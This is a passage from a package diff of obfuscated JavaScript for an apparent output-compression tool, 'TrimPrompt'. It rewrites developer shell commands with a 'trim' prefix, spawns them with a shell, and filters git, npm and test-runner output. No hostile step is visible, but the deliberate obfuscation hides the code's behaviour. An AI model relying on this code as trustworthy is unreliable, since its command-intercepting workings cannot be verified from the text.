_0xa3413f=['shims','toLowerCase','__esModule','inherit','getOwnPropertyDescriptor','63QqgJCy','toString','path','hasOwnProperty','getOwnPropertyNames','3OBwGpu','prototype','data','filter','child_process','stdout','message','stderr','length','default','pipe','\x22:\x20','spawn','1938804rjFAXX','split','722981pIxUOq','2682355FMVLLf','Failed\x20to\x20spawn\x20command\x20\x22','486471HfnCBK','create','homedir','3269512rAjqHk','close','__setModuleDefault','delimiter','defineProperty','48eBxkxa','writable','.trimprompt','4001770UsSLLV','__importStar','8561556CZAXLz','join'];a0_0x5961=function(){return _0xa3413f;};return a0_0x5961();}var __createBinding=this&&this['__createBinding']||(Object[a0_0x16712a(0xc7)]?function(_0x2ed6f4,_0x36c5d0,_0x2741f2,_0x2b460d){var _0x29c8c6=a0_0x16712a;if(_0x2b460d===undefined)_0x2b460d=_0x2741f2;var _0x109dac=Object[_0x29c8c6(0xd9)](_0x36c5d0,_0x2741f2);(!_0x109dac||('get'in _0x109dac?!_0x36c5d0[_0x29c8c6(0xd7)]:_0x109dac[_0x29c8c6(0xcf)]||_0x109dac['configurable']))&&(_0x109dac={'enumerable':!![],'get':function(){return _0x36c5d0[_0x2741f2];}}),Object[_0x29c8c6(0xcd)](_0x2ed6f4,_0x2b460d,_0x109dac);}:function(_0x4e41ca,_0x264e7a,_0x2b34b9,_0xc056b2){if(_0xc056b2===undefined)_0xc056b2=_0x2b34b9;_0x4e41ca[_0xc056b2]=_0x264e7a[_0x2b34b9];}),__setModuleDefault=this&&this[a0_0x16712a(0xcb)]||(Object[a0_0x16712a(0xc7)]?function(_0x17a329,_0x23155f){var _0x39b21f=a0_0x16712a;Object[_0x39b21f(0xcd)](_0x17a329,_0x39b21f(0xbd),{'enumerable':!![],'value':_0x23155f});}:function(_0x6c1242,_0xe92e67){var _0x3ce72c=a0_0x16712a;_0x6c1242[_0x3ce72c(0xbd)]=_0xe92e67;}),__importStar=this&&this[a0_0x16712a(0xd2)]||(function(){var _0x2c7bad=function(_0x2f61fc){var _0x7a99e=a0_0x5859;return _0x2c7bad=Object[_0x7a99e(0xde)]||function(_0x1cd42a){var _0x4252d=_0x7a99e,_0x4d4174=[];for(var _0x401c16 in _0x1cd42a)if(Object[_0x4252d(0xe0)][_0x4252d(0xdd)]['call'](_0x1cd42a,_0x401c16))_0x4d4174[_0x4d4174[_0x4252d(0xbc)]]=_0x401c16;return _0x4d4174;},_0x2c7bad(_0x2f61fc);};return function(_0x2080ca){var _0x51150a=a0_0x5859;if(_0x2080ca&&_0x2080ca[_0x51150a(0xd7)])return _0x2080ca;var _0x51d41e={};if(_0x2080ca!=null){for(var _0x2cd295=_0x2c7bad(_0x2080ca),_0x14bffa=0x0;_0x14bffa<_0x2cd295['length'];_0x14bffa++)if(_0x2cd295[_0x14bffa]!==_0x51150a(0xbd))__createBinding(_0x51d41e,_0x2080ca,_0x2cd295[_0x14bffa]);}return __setModuleDefault(_0x51d41e,_0x2080ca),_0x51d41e;};}());Object[a0_0x16712a(0xcd)](exports,a0_0x16712a(0xd7),{'value':!![]}),exports['executeCommand']=executeCommand;const child_process_1=require(a0_0x16712a(0xb8)),path=__importStar(require(a0_0x16712a(0xdc))),os=__importStar(require('os'));function executeCommand(_0x394388,_0x100649){return new Promise(_0x1f7b12=>{var _0x1ffe75=a0_0x5859;const _0x194459=path[_0x1ffe75(0xd4)](os[_0x1ffe75(0xc8)](),_0x1ffe75(0xd0),_0x1ffe75(0xd5)),_0x1c78b2=(process.env.PATH||'')[_0x1ffe75(0xc2)](path['delimiter'])[_0x1ffe75(0xe2)](_0x1ac181=>_0x1ac181['trim']()[_0x1ffe75(0xd6)]()!==_0x194459['toLowerCase']())[_0x1ffe75(0xd4)](path[_0x1ffe75(0xcc)]),_0x278559={...process.env,'PATH':_0x1c78b2,'TRIMPROMPT_DISABLED':'1'},_0x1b227b=(0x0,child_process_1[_0x1ffe75(0xc0)])(_0x394388,_0x100649,{'stdio':[_0x1ffe75(0xd8),_0x1ffe75(0xbe),_0x1ffe75(0xbe)],'shell':!![],'env':_0x278559});let _0x1c54c7='',_0x5d5bf7='';_0x1b227b[_0x1ffe75(0xb9)]?.['on'](_0x1ffe75(0xe1),_0x240789=>{var _0x4f3d8c=_0x1ffe75;_0x1c54c7+=_0x240789[_0x4f3d8c(0xdb)]();}),_0x1b227b[_0x1ffe75(0xbb)]?.['on'](_0x1ffe75(0xe1),_0x342cf8=>{var _0x4e5b63=_0x1ffe75;_0x5d5bf7+=_0x342cf8[_0x4e5b63(0xdb)]();}),_0x1b227b['on']('error',_0x17be1c=>{var _0x215bcc=_0x1ffe75;_0x1f7b12({'exitCode':0x1,'stdout':'','stderr':_0x215bcc(0xc5)+_0x394388+_0x215bcc(0xbf)+_0x17be1c[_0x215bcc(0xba)]});}),_0x1b227b['on'](_0x1ffe75(0xca),_0x44c2b3=>{_0x1f7b12({'exitCode':_0x44c2b3??0x0,'stdout':_0x1c54c7,'stderr':_0x5d5bf7});});});}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x11b92d=a0_0x2080;(function(_0x5ea6e4,_0x4b0f5e){const _0x4849bc=a0_0x2080,_0x2b4d31=_0x5ea6e4();while(!![]){try{const _0x2506bb=-parseInt(_0x4849bc(0x1ff))/0x1*(parseInt(_0x4849bc(0x1f0))/0x2)+parseInt(_0x4849bc(0x1f4))/0x3*(-parseInt(_0x4849bc(0x1f8))/0x4)+parseInt(_0x4849bc(0x1fb))/0x5+parseInt(_0x4849bc(0x1f3))/0x6+parseInt(_0x4849bc(0x1ef))/0x7*(-parseInt(_0x4849bc(0x1f7))/0x8)+-parseInt(_0x4849bc(0x1f5))/0x9+parseInt(_0x4849bc(0x1e9))/0xa;if(_0x2506bb===_0x4b0f5e)break;else _0x2b4d31['push'](_0x2b4d31['shift']());}catch(_0x32d4cf){_0x2b4d31['push'](_0x2b4d31['shift']());}}}(a0_0x1f0d,0x1ad01));Object[a0_0x11b92d(0x1f1)](exports,a0_0x11b92d(0x1f2),{'value':!![]}),exports[a0_0x11b92d(0x200)]=stripAnsi,exports[a0_0x11b92d(0x1fc)]=collapseDuplicates,exports[a0_0x11b92d(0x1f6)]=softTruncate;function stripAnsi(_0x4073a8){const _0x88800e=a0_0x11b92d,_0x48baf7=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x4073a8[_0x88800e(0x1ed)](_0x48baf7,'');}function a0_0x1f0d(){const _0x285f3e=['6434GyESDC','defineProperty','__esModule','554196YzDzEl','1437oAgYoC','869274YiaZns','softTruncate','66328BKRGbm','24QAPCGn','push','\x20characters\x20of\x20output]\x20...\x0a','67185LERfna','collapseDuplicates','split','length','11vDksti','stripAnsi','2466520EXmpmk','\x0a...\x20[TrimPrompt:\x20Truncated\x20','join','\x20[x','replace','slice','91esDOpn'];a0_0x1f0d=function(){return _0x285f3e;};return a0_0x1f0d();}function collapseDuplicates(_0x7b8da6){const _0x3f620e=a0_0x11b92d,_0x273f22=_0x7b8da6[_0x3f620e(0x1fd)]('\x0a');if(_0x273f22[_0x3f620e(0x1fe)]<=0x1)return _0x7b8da6;const _0x4d61e2=[];let _0x164e78=_0x273f22[0x0],_0x42cfbe=0x1;for(let _0x32f814=0x1;_0x32f814<_0x273f22['length'];_0x32f814++){const _0x3cfe81=_0x273f22[_0x32f814];_0x3cfe81===_0x164e78&&_0x3cfe81['trim']()[_0x3f620e(0x1fe)]>0x0?_0x42cfbe++:(_0x42cfbe>0x1?_0x4d61e2[_0x3f620e(0x1f9)](_0x164e78+_0x3f620e(0x1ec)+_0x42cfbe+']'):_0x4d61e2[_0x3f620e(0x1f9)](_0x164e78),_0x164e78=_0x3cfe81,_0x42cfbe=0x1);}return _0x42cfbe>0x1?_0x4d61e2[_0x3f620e(0x1f9)](_0x164e78+_0x3f620e(0x1ec)+_0x42cfbe+']'):_0x4d61e2['push'](_0x164e78),_0x4d61e2[_0x3f620e(0x1eb)]('\x0a');}function a0_0x2080(_0x4d4c23,_0x56fcd1){_0x4d4c23=_0x4d4c23-0x1e9;const _0x1f0df2=a0_0x1f0d();let _0x208066=_0x1f0df2[_0x4d4c23];return _0x208066;}function softTruncate(_0x121459,_0x236225=0x4e20){const _0x293cde=a0_0x11b92d;if(_0x121459[_0x293cde(0x1fe)]<=_0x236225)return _0x121459;const _0x59a5fb=_0x121459['split']('\x0a');if(_0x59a5fb[_0x293cde(0x1fe)]<=0xc8)return _0x121459;const _0x2aad6e=0x32,_0x1c4bc5=0x96,_0x43a760=_0x59a5fb[_0x293cde(0x1ee)](0x0,_0x2aad6e),_0x391bdc=_0x59a5fb[_0x293cde(0x1ee)](_0x59a5fb[_0x293cde(0x1fe)]-_0x1c4bc5),_0x4e3a63=_0x121459['length']-(_0x43a760[_0x293cde(0x1eb)]('\x0a')['length']+_0x391bdc['join']('\x0a')[_0x293cde(0x1fe)]);return[..._0x43a760,_0x293cde(0x1ea)+_0x4e3a63+_0x293cde(0x1fa),..._0x391bdc][_0x293cde(0x1eb)]('\x0a');}
|
package/filters/git.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';function a0_0x486b(){const _0x4efc73=['__esModule','44870WapUse','\x20\x20...\x20+','2192367BbzKco','substring','diff\x20--git','+++','[file]\x20','split','5720HFqvVB','---','3675BDTozW','push','map','12781656bgBEBd','269158hhWRmz','6852078tTmHGc','configurable','path','filterGitStatus','5276VveJsm','---END---','4902212GSOGzU','filterGitLog','create','basename','2ZLYzqV','length','\x20more\x20modifications','__setModuleDefault','\x0aChanges:','*\x20Branch:\x20','\x20(+','defineProperty','filterGitDiff','\x20untracked\x20files)','unknown_file','filter','__createBinding','trim','No\x20modifications','getOwnPropertyNames','call','dirname','join','hasOwnProperty','getOwnPropertyDescriptor','prototype','slice','\x20\x20??\x20','8xekuhB','startsWith','Clean\x20working\x20tree','\x20\x20...\x20(+','\x0aUntracked\x20files:'];a0_0x486b=function(){return _0x4efc73;};return a0_0x486b();}const a0_0xb84a52=a0_0x412c;(function(_0x116b47,_0x4d3ec4){const _0x524384=a0_0x412c,_0x129837=_0x116b47();while(!![]){try{const _0x5a82d3=parseInt(_0x524384(0x145))/0x1*(-parseInt(_0x524384(0x119))/0x2)+-parseInt(_0x524384(0x139))/0x3+parseInt(_0x524384(0x113))/0x4*(parseInt(_0x524384(0x141))/0x5)+parseInt(_0x524384(0x146))/0x6+parseInt(_0x524384(0x115))/0x7+parseInt(_0x524384(0x131))/0x8*(parseInt(_0x524384(0x144))/0x9)+parseInt(_0x524384(0x137))/0xa*(-parseInt(_0x524384(0x13f))/0xb);if(_0x5a82d3===_0x4d3ec4)break;else _0x129837['push'](_0x129837['shift']());}catch(_0xd188a5){_0x129837['push'](_0x129837['shift']());}}}(a0_0x486b,0xdb6e7));var __createBinding=this&&this[a0_0xb84a52(0x125)]||(Object[a0_0xb84a52(0x117)]?function(_0x22f742,_0x319ec6,_0x586dba,_0x29f837){const _0x619022=a0_0xb84a52;if(_0x29f837===undefined)_0x29f837=_0x586dba;var _0x1f91c9=Object[_0x619022(0x12d)](_0x319ec6,_0x586dba);(!_0x1f91c9||('get'in _0x1f91c9?!_0x319ec6[_0x619022(0x136)]:_0x1f91c9['writable']||_0x1f91c9[_0x619022(0x147)]))&&(_0x1f91c9={'enumerable':!![],'get':function(){return _0x319ec6[_0x586dba];}}),Object[_0x619022(0x120)](_0x22f742,_0x29f837,_0x1f91c9);}:function(_0x4242cc,_0x441d5f,_0x1cd0c5,_0x1537ed){if(_0x1537ed===undefined)_0x1537ed=_0x1cd0c5;_0x4242cc[_0x1537ed]=_0x441d5f[_0x1cd0c5];}),__setModuleDefault=this&&this[a0_0xb84a52(0x11c)]||(Object[a0_0xb84a52(0x117)]?function(_0x4341fa,_0xba7a2b){const _0x3697e9=a0_0xb84a52;Object[_0x3697e9(0x120)](_0x4341fa,'default',{'enumerable':!![],'value':_0xba7a2b});}:function(_0x10ba05,_0xe9cc82){_0x10ba05['default']=_0xe9cc82;}),__importStar=this&&this['__importStar']||(function(){var _0x447cf9=function(_0x2a90f9){const _0x428cb7=a0_0x412c;return _0x447cf9=Object[_0x428cb7(0x128)]||function(_0x240f9b){const _0x30f714=_0x428cb7;var _0x508d4d=[];for(var _0x5a761c in _0x240f9b)if(Object[_0x30f714(0x12e)][_0x30f714(0x12c)][_0x30f714(0x129)](_0x240f9b,_0x5a761c))_0x508d4d[_0x508d4d[_0x30f714(0x11a)]]=_0x5a761c;return _0x508d4d;},_0x447cf9(_0x2a90f9);};return function(_0x520d32){const _0x24067f=a0_0x412c;if(_0x520d32&&_0x520d32[_0x24067f(0x136)])return _0x520d32;var _0x35e305={};if(_0x520d32!=null){for(var _0x47dc98=_0x447cf9(_0x520d32),_0x2bdd70=0x0;_0x2bdd70<_0x47dc98[_0x24067f(0x11a)];_0x2bdd70++)if(_0x47dc98[_0x2bdd70]!=='default')__createBinding(_0x35e305,_0x520d32,_0x47dc98[_0x2bdd70]);}return __setModuleDefault(_0x35e305,_0x520d32),_0x35e305;};}());Object['defineProperty'](exports,a0_0xb84a52(0x136),{'value':!![]}),exports[a0_0xb84a52(0x112)]=filterGitStatus,exports[a0_0xb84a52(0x116)]=filterGitLog,exports[a0_0xb84a52(0x121)]=filterGitDiff;const path=__importStar(require(a0_0xb84a52(0x111)));function filterGitStatus(_0x1e3509){const _0x303e9d=a0_0xb84a52,_0x28d8de=_0x1e3509[_0x303e9d(0x13e)]('\x0a')[_0x303e9d(0x143)](_0x3bcd29=>_0x3bcd29[_0x303e9d(0x126)]())[_0x303e9d(0x124)](_0x1f2b8f=>_0x1f2b8f['length']>0x0);if(_0x28d8de[_0x303e9d(0x11a)]===0x0)return _0x303e9d(0x133);const _0x32564f=[],_0x4422b4=[],_0x7f3aa=[];for(const _0x5dbb27 of _0x28d8de){if(_0x5dbb27[_0x303e9d(0x132)]('##')){const _0x16868c=_0x5dbb27['replace'](/^##\s*/,'');_0x32564f[_0x303e9d(0x142)](_0x303e9d(0x11e)+_0x16868c);}else _0x5dbb27[_0x303e9d(0x132)]('??')?_0x4422b4['push'](_0x5dbb27[_0x303e9d(0x13a)](0x3)[_0x303e9d(0x126)]()):_0x7f3aa[_0x303e9d(0x142)](_0x5dbb27);}_0x7f3aa['length']>0x0&&(_0x32564f['push'](_0x303e9d(0x11d)),_0x32564f[_0x303e9d(0x142)](..._0x7f3aa[_0x303e9d(0x143)](_0x3dc370=>'\x20\x20'+_0x3dc370)));if(_0x4422b4['length']>0x0){_0x32564f['push'](_0x303e9d(0x135));const _0x10d828={},_0x304e69=[];for(const _0x244717 of _0x4422b4){const _0x4ee03f=path[_0x303e9d(0x12a)](_0x244717);_0x4ee03f==='.'||_0x4ee03f===''?_0x304e69[_0x303e9d(0x142)](_0x244717):(!_0x10d828[_0x4ee03f]&&(_0x10d828[_0x4ee03f]=[]),_0x10d828[_0x4ee03f][_0x303e9d(0x142)](path[_0x303e9d(0x118)](_0x244717)));}for(const [_0x3dfa08,_0x774e0f]of Object['entries'](_0x10d828)){if(_0x774e0f[_0x303e9d(0x11a)]>0x5)_0x32564f[_0x303e9d(0x142)](_0x303e9d(0x130)+_0x3dfa08+'/\x20('+_0x774e0f['length']+_0x303e9d(0x122));else for(const _0x16d278 of _0x774e0f){_0x32564f['push']('\x20\x20??\x20'+path[_0x303e9d(0x12b)](_0x3dfa08,_0x16d278));}}for(const _0x566d7e of _0x304e69){_0x32564f[_0x303e9d(0x142)](_0x303e9d(0x130)+_0x566d7e);}}return _0x32564f[_0x303e9d(0x12b)]('\x0a');}function a0_0x412c(_0x7939fa,_0x475fe6){_0x7939fa=_0x7939fa-0x111;const _0x486b11=a0_0x486b();let _0x412c27=_0x486b11[_0x7939fa];return _0x412c27;}function filterGitLog(_0x5c513d){const _0x7b818f=a0_0xb84a52,_0x47afb4=_0x5c513d[_0x7b818f(0x13e)](_0x7b818f(0x114))[_0x7b818f(0x143)](_0x3a2447=>_0x3a2447[_0x7b818f(0x126)]())[_0x7b818f(0x124)](_0x11c044=>_0x11c044['length']>0x0);if(_0x47afb4[_0x7b818f(0x11a)]===0x0)return _0x5c513d;const _0x574970=[];for(const _0x5549ea of _0x47afb4){const _0x2011eb=_0x5549ea[_0x7b818f(0x13e)]('\x0a'),_0x2db9ff=_0x2011eb[0x0]||'',_0x5ecef9=_0x2011eb[_0x7b818f(0x12f)](0x1)[_0x7b818f(0x143)](_0x20d040=>_0x20d040[_0x7b818f(0x126)]())[_0x7b818f(0x124)](_0x32a1ce=>_0x32a1ce[_0x7b818f(0x11a)]>0x0);_0x574970[_0x7b818f(0x142)]('-\x20'+_0x2db9ff),_0x5ecef9[_0x7b818f(0x11a)]>0x0&&(_0x574970['push']('\x20\x20'+_0x5ecef9[0x0]),_0x5ecef9[_0x7b818f(0x11a)]>0x1&&_0x574970[_0x7b818f(0x142)](_0x7b818f(0x134)+(_0x5ecef9[_0x7b818f(0x11a)]-0x1)+'\x20lines\x20of\x20description)'));}return _0x574970[_0x7b818f(0x12b)]('\x0a');}function filterGitDiff(_0x1314e1){const _0x1f39dc=a0_0xb84a52,_0x425ffe=_0x1314e1['split']('\x0a'),_0x1dc7b4=[];let _0x1fd8ba='',_0x4aa46e=0x0,_0x4698e4=0x0,_0x5ac725=[];const _0x5f28e8=()=>{const _0x1398d5=a0_0x412c;if(_0x1fd8ba&&(_0x4aa46e>0x0||_0x4698e4>0x0)){_0x1dc7b4[_0x1398d5(0x142)](_0x1398d5(0x13d)+_0x1fd8ba+_0x1398d5(0x11f)+_0x4aa46e+'\x20-'+_0x4698e4+')');const _0x2ffabd=0xa,_0x10ba29=_0x5ac725[_0x1398d5(0x12f)](0x0,_0x2ffabd);for(const _0x39e719 of _0x10ba29){_0x1dc7b4['push']('\x20\x20'+_0x39e719);}const _0x52edff=_0x4aa46e+_0x4698e4-_0x2ffabd;_0x52edff>0x0&&_0x1dc7b4['push'](_0x1398d5(0x138)+_0x52edff+_0x1398d5(0x11b));}_0x4aa46e=0x0,_0x4698e4=0x0,_0x5ac725=[];};for(const _0x59fec6 of _0x425ffe){if(_0x59fec6[_0x1f39dc(0x132)](_0x1f39dc(0x13b))){_0x5f28e8();const _0x8da5b3=_0x59fec6['match'](/\sb\/(.+)$/);_0x1fd8ba=_0x8da5b3?_0x8da5b3[0x1]:_0x1f39dc(0x123);}else{if(_0x59fec6[_0x1f39dc(0x132)]('+')&&!_0x59fec6[_0x1f39dc(0x132)](_0x1f39dc(0x13c)))_0x4aa46e++,_0x5ac725['push'](_0x59fec6);else _0x59fec6['startsWith']('-')&&!_0x59fec6['startsWith'](_0x1f39dc(0x140))&&(_0x4698e4++,_0x5ac725[_0x1f39dc(0x142)](_0x59fec6));}}_0x5f28e8();const _0x174f68=_0x1dc7b4[_0x1f39dc(0x12b)]('\x0a');return _0x174f68[_0x1f39dc(0x11a)]>0x0?_0x174f68:_0x1f39dc(0x127);}
|
package/filters/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x36b23a=a0_0x4017;(function(_0x425dab,_0x5ce7de){const _0x5636c2=a0_0x4017,_0x55e5c6=_0x425dab();while(!![]){try{const _0x39b6a3=-parseInt(_0x5636c2(0x1c9))/0x1+-parseInt(_0x5636c2(0x1a2))/0x2+parseInt(_0x5636c2(0x1d1))/0x3*(parseInt(_0x5636c2(0x1d2))/0x4)+parseInt(_0x5636c2(0x1af))/0x5*(parseInt(_0x5636c2(0x1c6))/0x6)+parseInt(_0x5636c2(0x1ba))/0x7*(parseInt(_0x5636c2(0x1ae))/0x8)+parseInt(_0x5636c2(0x1d0))/0x9*(-parseInt(_0x5636c2(0x1d6))/0xa)+parseInt(_0x5636c2(0x1cc))/0xb*(parseInt(_0x5636c2(0x1a5))/0xc);if(_0x39b6a3===_0x5ce7de)break;else _0x55e5c6['push'](_0x55e5c6['shift']());}catch(_0x578f12){_0x55e5c6['push'](_0x55e5c6['shift']());}}}(a0_0x3b4c,0x532f4));function a0_0x4017(_0x69cb88,_0x26a286){_0x69cb88=_0x69cb88-0x1a0;const _0x3b4c52=a0_0x3b4c();let _0x401727=_0x3b4c52[_0x69cb88];return _0x401727;}Object['defineProperty'](exports,a0_0x36b23a(0x1ad),{'value':!![]}),exports[a0_0x36b23a(0x1be)]=compressOutput,exports[a0_0x36b23a(0x1df)]=rewriteCommand;const generic_1=require(a0_0x36b23a(0x1b6)),git_1=require(a0_0x36b23a(0x1c5)),python_1=require('./python'),js_1=require(a0_0x36b23a(0x1dc)),redactor_1=require('../redactor');function compressOutput(_0x5ade12,_0x31dae7,_0x32cb3d,_0x1f74b4=!![]){const _0x3a2ae5=a0_0x36b23a,_0x59199e=_0x5ade12[_0x3a2ae5(0x1d7)]();let _0x4acc7c=_0x31dae7;_0x32cb3d[_0x3a2ae5(0x1d7)]()[_0x3a2ae5(0x1b0)]>0x0&&(_0x4acc7c=_0x31dae7+'\x0a'+_0x32cb3d);let _0x2fda45=(0x0,generic_1[_0x3a2ae5(0x1b7)])(_0x4acc7c);_0x1f74b4&&(_0x2fda45=redactor_1[_0x3a2ae5(0x1d4)][_0x3a2ae5(0x1b4)](_0x2fda45));const _0x502aef=_0x59199e[_0x3a2ae5(0x1c8)]();try{if(_0x502aef[_0x3a2ae5(0x1db)]('git\x20status')||_0x502aef['includes'](_0x3a2ae5(0x1cd)))return(0x0,git_1[_0x3a2ae5(0x1da)])(_0x2fda45);if(_0x502aef[_0x3a2ae5(0x1db)]('git\x20log')||_0x502aef[_0x3a2ae5(0x1db)]('yadm\x20log'))return(0x0,git_1[_0x3a2ae5(0x1d9)])(_0x2fda45);if(_0x502aef['includes'](_0x3a2ae5(0x1d3))||_0x502aef['includes'](_0x3a2ae5(0x1bf))||_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1cf)))return(0x0,git_1[_0x3a2ae5(0x1b9)])(_0x2fda45);if(_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1c3)))return(0x0,python_1['filterPytest'])(_0x2fda45);if(_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1c4))||_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1b1))||_0x502aef[_0x3a2ae5(0x1bd)](_0x3a2ae5(0x1ac))||_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1c7))||_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1bb)))return(0x0,js_1[_0x3a2ae5(0x1a4)])(_0x2fda45);if(_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1b3))||_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1aa)))return(0x0,python_1[_0x3a2ae5(0x1a0)])(_0x2fda45);if(_0x502aef[_0x3a2ae5(0x1db)](_0x3a2ae5(0x1ab))||_0x502aef['includes'](_0x3a2ae5(0x1a1)))return(0x0,js_1[_0x3a2ae5(0x1dd)])(_0x2fda45);}catch(_0x4522c8){}return _0x2fda45=(0x0,generic_1[_0x3a2ae5(0x1a7)])(_0x2fda45),_0x2fda45=(0x0,generic_1[_0x3a2ae5(0x1d5)])(_0x2fda45,0x4e20),_0x2fda45;}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':a0_0x36b23a(0x1c1)},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':'trim\x20gh'},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':a0_0x36b23a(0x1c2)},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':a0_0x36b23a(0x1d8)},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':a0_0x36b23a(0x1a6)},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x)(\s|$)/,'prefix':a0_0x36b23a(0x1cb)},{'pattern':/^npx\s+/,'prefix':a0_0x36b23a(0x1a3)},{'pattern':/^(cat|head|tail)\s+/,'prefix':a0_0x36b23a(0x1de)},{'pattern':/^(rg|grep)\s+/,'prefix':a0_0x36b23a(0x1b8)},{'pattern':/^ls(\s|$)/,'prefix':a0_0x36b23a(0x1b5)},{'pattern':/^find\s+/,'prefix':'trim\x20find'},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x36b23a(0x1ca)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x36b23a(0x1c0)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':'trim\x20pytest'},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':a0_0x36b23a(0x1bc)},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x36b23a(0x1a8)}];function a0_0x3b4c(){const _0x100159=['collapseDuplicates','trim\x20go','trim\x20','pip3\x20install','jest','npm\x20i','__esModule','79704eapcRK','1465TJQxGP','length','npm\x20i\x20','test','pip\x20install','redact','trim\x20ls','./generic','stripAnsi','trim\x20grep','filterGitDiff','42BrZLAa','yarn\x20install','trim\x20pip','endsWith','compressOutput','git\x20show','trim\x20kubectl','trim\x20git','trim\x20glab','pytest','npm\x20install','./git','6312WOtykO','pnpm\x20install','toLowerCase','651198FnvMaV','trim\x20docker','trim\x20npm','6361069ABOIZc','yadm\x20status','startsWith','yadm\x20diff','4103577tanyPE','1146cpbmJw','5648iuWNLB','git\x20diff','redactor','softTruncate','10DeqkEC','trim','trim\x20cargo','filterGitLog','filterGitStatus','includes','./js','filterJestVitest','trim\x20read','rewriteCommand','filterPipInstall','vitest','75604GbaMDt','trim\x20npx','filterNpmInstall','12fCApuL','trim\x20pnpm'];a0_0x3b4c=function(){return _0x100159;};return a0_0x3b4c();}function rewriteCommand(_0x16c2c2){const _0x304907=a0_0x36b23a,_0x5cfce4=_0x16c2c2[_0x304907(0x1d7)]();if(_0x5cfce4[_0x304907(0x1ce)](_0x304907(0x1a9)))return _0x5cfce4;for(const _0x565be9 of REWRITE_RULES){if(_0x565be9['pattern'][_0x304907(0x1b2)](_0x5cfce4))return _0x304907(0x1a9)+_0x5cfce4;}return _0x5cfce4;}
|
package/filters/js.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x43fb71=a0_0xdd92;(function(_0x41949d,_0xffadf2){const _0x57a6f0=a0_0xdd92,_0x57e8b1=_0x41949d();while(!![]){try{const _0x1295ae=parseInt(_0x57a6f0(0x200))/0x1+-parseInt(_0x57a6f0(0x1f7))/0x2*(-parseInt(_0x57a6f0(0x213))/0x3)+-parseInt(_0x57a6f0(0x1f4))/0x4*(parseInt(_0x57a6f0(0x1f6))/0x5)+parseInt(_0x57a6f0(0x202))/0x6*(parseInt(_0x57a6f0(0x207))/0x7)+parseInt(_0x57a6f0(0x1f8))/0x8+parseInt(_0x57a6f0(0x1fd))/0x9+-parseInt(_0x57a6f0(0x208))/0xa;if(_0x1295ae===_0xffadf2)break;else _0x57e8b1['push'](_0x57e8b1['shift']());}catch(_0x13bb97){_0x57e8b1['push'](_0x57e8b1['shift']());}}}(a0_0x4e01,0x1b273));function a0_0x4e01(){const _0x4a9d5c=['\x20\x20...\x20(','12iyiFpd','defineProperty','358505GikrnS','358jFMqaq','1413336iAGXJY','includes','length','filterNpmInstall','FAIL','1115730oaOQwg','\x0aFailures:','replace','202605IMKdTy','all','41016csMEzF','slice','\x20total)','push','audited\x20','70SVtOSn','2937890gTfgak','trim','startsWith','match','\x20lines\x20of\x20trace\x20details\x20truncated)','Tests:','__esModule','join','Test\x20Files:','\x20passed','split','813OmQevq','NPM:\x20Packages\x20verified/installed\x20successfully','PASS','Test\x20Runner:\x20','added\x20','up\x20to\x20date'];a0_0x4e01=function(){return _0x4a9d5c;};return a0_0x4e01();}Object[a0_0x43fb71(0x1f5)](exports,a0_0x43fb71(0x20e),{'value':!![]}),exports[a0_0x43fb71(0x1fb)]=filterNpmInstall,exports['filterJestVitest']=filterJestVitest;function a0_0xdd92(_0x575304,_0xbadc90){_0x575304=_0x575304-0x1ee;const _0x4e0155=a0_0x4e01();let _0xdd929e=_0x4e0155[_0x575304];return _0xdd929e;}function filterNpmInstall(_0x39b9fc){const _0x299243=a0_0x43fb71,_0x31b8c2=_0x39b9fc[_0x299243(0x1ff)](/\r/g,'\x0a'),_0x2ee1fd=_0x31b8c2[_0x299243(0x212)]('\x0a'),_0x77f052=[];for(const _0x1be9ea of _0x2ee1fd){const _0x24eb7d=_0x1be9ea['trim']();(_0x24eb7d[_0x299243(0x1f9)](_0x299243(0x1f1))||_0x24eb7d[_0x299243(0x1f9)]('removed\x20')||_0x24eb7d['includes'](_0x299243(0x206))||_0x24eb7d[_0x299243(0x1f9)](_0x299243(0x1f2))||_0x24eb7d[_0x299243(0x1f9)]('found\x20'))&&(!_0x24eb7d[_0x299243(0x1f9)]('%')&&!_0x24eb7d[_0x299243(0x20a)]('⠋')&&!_0x24eb7d['startsWith']('⠙')&&_0x77f052[_0x299243(0x205)](_0x24eb7d));}const _0x2dd347=_0x77f052[_0x299243(0x20f)]('\x0a')[_0x299243(0x209)]();return _0x2dd347[_0x299243(0x1fa)]>0x0?_0x2dd347:_0x299243(0x1ee);}function filterJestVitest(_0x4d961a){const _0x2512f4=a0_0x43fb71,_0x5ad9eb=_0x4d961a[_0x2512f4(0x212)]('\x0a');let _0x21ee13=0x0,_0x784afc=0x0,_0x29e9da=0x0;const _0x488131=[];let _0x16a0cb=![];for(const _0x43e22e of _0x5ad9eb){const 